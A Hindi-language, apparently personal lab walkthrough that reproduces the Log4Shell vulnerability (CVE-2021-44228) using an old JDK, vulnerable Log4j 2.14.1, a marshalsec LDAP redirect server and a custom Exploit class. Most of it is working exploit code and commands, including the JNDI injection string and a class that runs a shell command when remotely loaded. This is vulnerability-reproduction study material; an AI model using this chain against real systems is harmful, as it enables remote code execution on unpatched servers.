
चरण-दर-चरण पुनरुत्पादन मार्गदर्शिका CVE-2021-44228 (Log4Shell) के लिए JDK 8u20, संवेदनशील Log4j 2.14.1, marshalsec LDAP सर्वर, और कस्टम पेलोड संकलन के साथ।
मुझे लगता है कि यह कहानी अधिक व्यावहारिक है (रोते हुए)christophetd/log4shell-vulnerable-app
मैंने केवल उत्सुकता और आवेग में जांच की है, इसलिए संभव है कि कुछ अस्पष्ट स्थान या गलतियाँ हों।
कृपया, अपनी जिम्मेदारी पर कार्य करें।
linux वातावरण में काम करना चाहिए।
jdk8u191 और उसके बाद के संस्करणों में com.sun.jndi.rmi.object.trustURLCodebase विकल्प जोड़ा गया है, और डिफ़ॉल्ट False है।
इस स्थिति में बाहरी रूप से तैयार किए गए class को लोड नहीं किया जा सकता, इसलिए इस बार हम उससे पहले के संस्करण का उपयोग करेंगे।
(क्या आंतरिक क्लासेस को लोड या बायपास किया जा सकता है??)
https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/
jdk8u20 का सीधा डाउनलोड
इसे अनज़िप करके /opt जैसी उपयुक्त जगह पर रख दें।
log4j डाउनलोड करें
इसे अनज़िप करें और log4j-api-2.14.1.jar और log4j-core-2.14.1.jar निकाल लें (इस बार हमने उन्हें log4japp नामक निर्देशिका में रखा)।
export CLASSPATH=:/path/to/log4japp/log4j-api-2.14.1.jar:/path/to/log4japp/log4j-core-2.14.1.jar
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4j {
private static final Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) {
logger.error("${jndi:ldap://your-ip:1389/resource}");
// /resource के बिना काम नहीं किया।
}
}
mbechler/marshalsec
LDAP क्वेरी को वेब पर रीडायरेक्ट करने के लिए।
mvn clean package -DskipTests
सुनना शुरू करें
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://your-web-ip:8888/#Exploit"
marshalsec का रीडायरेक्शन लक्ष्य भी तैयार करें
python3 -m http.server 8888
class Exploit {
static {
try { Runtime.getRuntime().exec("touch /tmp/evil"); } catch(Exception e) {}
}
}
स्थापित jdk8u20 का उपयोग करके संकलन करें
/opt/java/jdk1.8.0_20/bin/javac Exploit.java
स्थापित jdk8u20 का उपयोग करके संकलन और निष्पादन करें।
/opt/java/jdk1.8.0_20/bin/javac log4j.java
/opt/java/jdk1.8.0_20/bin/java log4j
